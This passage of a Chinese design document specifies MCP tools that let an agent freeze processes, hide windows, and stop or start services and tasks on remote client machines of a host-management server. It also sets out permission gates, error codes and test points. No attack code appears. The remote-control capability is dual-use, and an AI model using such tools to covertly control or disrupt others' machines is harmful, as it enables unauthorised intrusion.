| hosts 39 | `[39][文件原文][0]`;有 BOM → UTF-8,否则合法 UTF-8 → UTF-8,否则 CP936 |
### 5.4 写工具
统一模式:**先取列表校验目标存在 → 发动作 → 再取列表复核**。目标不在最新快照里
返回 `-32009`,绝不盲发。
| 工具 | action | 额外门控 | 动作包 | 复核 |
|---|---|---|---|---|
| `host_control_process` | `freeze` / `thaw` | `McpMachineDangerous` | `[16/17][DWORD pid]`(无回包) | 重新取 tab 0:PID 仍在 |
| `host_control_window` | `restore/hide/maximize/minimize` | — | `[11][DWORD hwnd][DWORD SW_*]` + 零填充到 20 字节(客户端只读前 9 字节) | 重新取 tab 1:hide 后 hwnd 应消失,其余应仍在 |
| `host_control_service` | `start`/`pause`/`continue` | — | `[22/24/25][服务名 CP936][NUL]` | 客户端自动回 40 |
| `host_control_service` | `stop`/`restart` | `McpMachineDangerous` | stop = `[23]`;restart = stop → 等 40 → start | 等 40(12 s),状态在期望集合内 |
| `host_control_task` | `run` / `stop` | — | `[29/28][folder CP936][NUL][name CP936][NUL]` | 客户端自动回 41:任务仍在 + 当前状态 |
补充规则:
- 服务动作前先取一次服务列表(prime),既校验目标,也把客户端 `m_dwServiceType`
钉到正确类型(Win32 / 驱动)。
- 已是目标状态时不下发动作,返回 `ok=true, changed=false, reason=already_*`。
- 冻结/解冻、窗口动作、任务动作**没有回执**:`verified` 只表示「已用动作后的快照复核」,
不表示「动作一定生效」。冻结不改变进程存在性,因此只能确认目标仍在。
- 写工具输入串(服务名、任务 folder/name)必须能转成 CP936,否则 `-32602`,不发包。
- 审计格式:`host <id> <tool>: action=… target=… result=…`。
## 6. 门控矩阵
| 配置 | 可见工具 | 直接调用被隐藏的工具 |
|---|---|---|
| `McpMachine=0`(默认) | 0 个 | `-32006` |
| `McpMachine=1, McpReadonly=1` | 11 个读工具(`list_network_connections` + 10 个 `host_list_*` / `host_get_hosts_file`) | 5 个写工具 → `-32006` |
| `McpMachine=1, McpReadonly=0, McpManage=1` | 16 个(含 5 个写) | — |
| `McpMachine=1, McpReadonly=0, McpManage=0` | 15 个(无 `kill_network_connection`) | `kill_network_connection` → `-32006` |
| `McpMachineDangerous=0` | 工具仍可见 | `host_control_process`、`host_control_service{stop,restart}` → `-32006` |
设置对话框勾选「危险主机操作」但未勾「主机管理」时,保存会清除危险开关并提示。
## 7. 错误码
沿用 P1–P7 的约定,新增 `-32009`:
| 码 | 含义 |
|---|---|
| `-32602` | 参数非法(含:目标多条匹配、字符无法用 CP936 表示) |
| `-32000` | 解析失败 / 客户端返回错误文本(`TOKEN_MACHINE_MSG`) |
| `-32001` | 超时(就绪 5 s / 列表 12 s / 会话 60 s) |
| `-32002` | 主机离线 |
| `-32003` | 设备忙(已有 MCP 会话在飞:单设备单飞行) |
| `-32004` | 发送失败 |
| `-32005` | 不支持(非 Windows 客户端;UDP/IPv6 断连) |
| `-32006` | 开关未开启 |
| `-32009` | **目标在最新快照中不存在**(调用方应刷新后重试) |
## 8. 已知限制
1. **token 数值碰撞**:机器响应 31–42 与 `COMMAND_KEYBOARD/AUDIO/SYSTEM/SHELL/…` 同值。
靠「先按子连接身份路由」解决——未绑定的子连接不会按 token 猜测。
2. **UI 争抢就绪包**:用户恰好在 MCP 请求期间点开同一对话框时,首包可能被 MCP 绑定,
界面对话框这次不弹(与 P7 的取舍一致),重试即可。
3. **5 s 墓碑**:MCP 异常结束后 5 s 内手动打开同一台主机的对话框可能被吞,重试即可。
4. **老客户端子连接 `clientID=0`**:靠 peer 兜底,仅在同 peer 唯一会话时绑定。
5. **权限**:`SetTcpEntry`、冻结/解冻、服务控制需要客户端管理员;失败按「未生效」如实返回。
6. **编码**:机器协议以 CP936 为主;任务 `name/path/exe` 为 UTF-8、`status` 为 GBK;
写回输入统一转 CP936。GBK 不可表示的字符明确报 `-32602`。
7. **`host_list_network_state` 只有 IPv4**:数据来自客户端自身的 `GetTcpTable` 视图,
与「连接管理」(`ConnectionInfo`,含 IPv6)不是同一份数据。
8. **`McpMachineDangerous` 只覆盖本轮高风险动作**;后续加入 kill/删除/卸载/注入时,
必须按 `McpMachine && McpMachineDangerous && !McpReadonly` 三层校验。
9. **`host_control_window {action:"hide"}` 是单向的**:客户端只枚举可见窗口,隐藏后该 hwnd
从快照中消失,再发 `restore` 会在发包前被 `-32009` 拦下(MFC 对话框同样无法再操作它)。
实测确认:`hide` 复核为 `state:"hidden"`,随后 `restore` 返回 `-32009`。
10. **`host_control_service {action:"pause"}` 依赖服务自身支持 PAUSE**:实测虚拟机上的
`Spooler` 下发 PAUSE 后状态仍为 `Running`,工具如实返回 `ok:false, reason:"unexpected_state"`
(不谎报成功)。`start/stop/continue/restart` 在同一台机器上均通过。
11. **开关只在进程启动时读取**(Release 版配置来自注册表 `HKCU\Software\YAMA\settings`,
不是 `Bin\settings.ini`);在「MCP设置」里改动 `McpMachine` / `McpMachineDangerous` /
`McpReadonly` 等必须重启服务端才生效。未重启时 `tools/list` 里看不到新工具,
直接调用返回 `-32006`。
## 9. 验证要点
- TLS:`RES_TLS=1` 的主机三个工具都返回 `tls:true`;老客户端 `false`。
- 路由:MCP 关闭时手动打开「主机管理」「连接管理」照常工作;
`host_list_favorites`(token 36,与键盘等命令同值)在飞时手动打开「进程管理」,
两边都不串包。
- 迟到包:强制就绪超时后,61/255 到达应被吸收且不弹对话框。
- 单飞行:同主机并发两个 host/connection 工具,第二个 `-32003`;两台主机并发都成功。
- 连接管理:与对话框逐条对比;断开后复核消失;UDP/IPv6 → `-32005`;过期四元组 → `-32009`。
- 10 个读工具:与 MFC 标签页对比行数、首末行、中文编码;空 tab 返回 `total:0`。
- 4 个写工具:freeze→thaw、窗口四动作、服务五动作、任务 run/stop;过期目标发包前 `-32009`。
- 回归:现有 27 个工具、终端、远程控制、文件传输、10 个 MFC 标签页行为不变。
- 资源:连续调用 20 次 host 工具,服务端无残留子连接。
Loaded 100 of 278 files, more files were not shown because too many files have changed in this diff. Show more